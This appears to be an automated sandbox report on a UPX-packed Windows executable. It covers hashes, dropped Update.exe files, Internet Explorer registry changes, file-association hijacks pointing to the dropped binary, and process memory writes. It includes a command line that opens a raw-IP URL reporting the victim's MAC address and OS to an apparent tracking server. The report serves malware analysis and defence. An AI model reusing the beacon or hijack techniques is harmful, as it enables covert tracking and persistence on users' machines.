718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85

General

Target

718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Size

143KB
MD5

530e39a453f30d37afbc6c566143650f
SHA1

182b8f899a12b12fe831839d956bdc452c7c5a86
SHA256

718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85
SHA512

ea8c16d7f52355e569fec151c8563a25bde817baca13f857d8a4b3ed2000e3a65b56410bc773d3d8515a249a8751147ccbcb64cf9ee7905c46dda6be303d3023
SSDEEP

3072:WgN+Ns6uUdzh5vaBAzmeu2ZNhewGOhIAsdxn6sM0TZMl9V:HN+NuUdzh5vaBAz5P/NhIAsdxn6sM0Tc

Score

8^/10

upx

Malware Config

Signatures

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/1240-55-0x0000000000400000-0x0000000000426000-memory.dmp	upx
behavioral1/memory/1240-56-0x0000000000400000-0x0000000000426000-memory.dmp	upx

Drops file in Program Files directory 2 IoCs

Processes:

718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe

description	ioc	process
File created	C:\Program Files\Thunder\Update.exe	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
File opened for modification	C:\Program Files\Thunder\Update.exe	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe

Drops file in Windows directory 1 IoCs

Processes:

718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe

description ioc process

File created C:\WINDOWS\Downloaded Program Files\Update.exe 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\WINDOWS\Downloaded Program Files\Update.exe	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe

Modifies Internet Explorer settings 1 TTPs 40 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0f0da5a89ffd801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376006687"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBar7Layout = 130000000000000000000000300000001400000016000000010000000007000080010000030000000103000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{4BF781F1-6B7C-11ED-87A0-5A9C998014C3} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBarLayout = 110000005c00000000000000340000001f0000006e00000001000000a0060000a00f000005000000220400002600000002000000a1060000a00f000004000000a10000000f02000003000000a10200003b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000fbafda4d2839344b902c87c07ddf25a100000000020000000000106600000001000020000000b4a753312c6ed240a1b18e33b0cee42ba3d2e5441f152c0de8989cdea3e06747000000000e8000000002000020000000ad3901cd8e393ccb9467199c460289c91d4418a50687f50d437175e66312208e90000000d3dc6c26cdf57c88debb7165661b39f96d5cf2cf7631944aff805c0ff04a56d04633f5ab194fe9e1e43c0267b0f6340981b3f882b6f857e9e017d5876de48b4efbc24eedd6206bca0df1e15ecadb3696dd3124439f479f3beb9861105169f8c4cf72075bfa4b1a8647f80e84acf0145325dc1638bbc63622f65465aad664ec16be5e8df9952b2fe65c66f4d9614737ed400000007c42dc793aa3b8d9da2be85ba67bfa22ed644862b357c3324d9c962a027423253b8933a093e68bcd3ab8fe7b2ee86b57be9c20882a8118932684977749ea36ce	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Frist	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000fbafda4d2839344b902c87c07ddf25a1000000000200000000001066000000010000200000002dc363d3ef952e6657a6a9f050833a57c44466d1bf9192cbb5997dd53fd93e49000000000e8000000002000020000000e1b6e383bacc6ac3c06dd1da25a120f41987db30bca99a24ee2f3e6b5988a91120000000806de006694004aa4e5973c4844cd263314dc9fa14bd4049f81096e0660fe49740000000fcaf2b03a305fcddd7de2fd2629df422dbcab93e9d6b45b6cfc0090a4aa3a66395c0d9e11bef87b734f7bf8b36274207e3f58a0ef98a875f7fdc438657d84b1f	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe

Modifies registry class 11 IoCs

Processes:

718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\anifile\DefaultIcon\ = "C:\\WINDOWS\\Downloaded Program Files\\game.ico"	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open\command\ = "C:\\Program Files\\Thunder\\Update.exe \"%1\" %*"	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\fonfile	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open\command	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\anifile\ScriptEngine\ = "JScript.Encode"	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\ScriptEngine	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\DefaultIcon\ = "C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe"	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\ScriptEngine\ = "JScript.Encode"	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\anifile\ScriptEngine	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

1492 iexplore.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

1492 iexplore.exe
1492 iexplore.exe
1004 IEXPLORE.EXE
1004 IEXPLORE.EXE
1004 IEXPLORE.EXE
1004 IEXPLORE.EXE

pid	process
1492	iexplore.exe

pid	process
1492	iexplore.exe
1492	iexplore.exe
1004	IEXPLORE.EXE
1004	IEXPLORE.EXE
1004	IEXPLORE.EXE
1004	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exeiexplore.exe

description	pid	process	target process
PID 1240 wrote to memory of 1492	1240	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe	iexplore.exe
PID 1240 wrote to memory of 1492	1240	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe	iexplore.exe
PID 1240 wrote to memory of 1492	1240	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe	iexplore.exe
PID 1240 wrote to memory of 1492	1240	718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe	iexplore.exe
PID 1492 wrote to memory of 1004	1492	iexplore.exe	IEXPLORE.EXE
PID 1492 wrote to memory of 1004	1492	iexplore.exe	IEXPLORE.EXE
PID 1492 wrote to memory of 1004	1492	iexplore.exe	IEXPLORE.EXE
PID 1492 wrote to memory of 1004	1492	iexplore.exe	IEXPLORE.EXE

C:\Users\Admin\AppData\Local\Temp\718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
"C:\Users\Admin\AppData\Local\Temp\718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1240

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Windows\system32\..\..\Program Files\Internet Explorer\iexplore.exe" http://58.218.198.119:8080/count.asp?mac=5a-9c-99-80-14-c3&os=Microsoft Windows XP&flag=36735d63bab4c876b65b3b4f03460cc7&user=718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85
2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1492

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1492 CREDAT:275457 /prefetch:2
3⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1004

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\J3K5LDG2.txt
Filesize
601B

MD5
3d2d44290bb485a5b5fb58d5aeb9e9f5

SHA1
c1088801976f98bfaa505a46eea10c7be667301e

SHA256
bc74fa815b90674cbf56feb9b2b74f313275f9d801dcfa1b0bec6f8fe9b99c0b

SHA512
0fbd22fa8054bbe9e419f65ef49507088175067f971719e800194f114d464de19470080d3e07b5efda61c67627622c7bbd44fd98079e13a1289f0756c923c487

Download Submit
memory/1240-54-0x00000000760B1000-0x00000000760B3000-memory.dmp

Filesize
8KB

Download
memory/1240-55-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1240-56-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads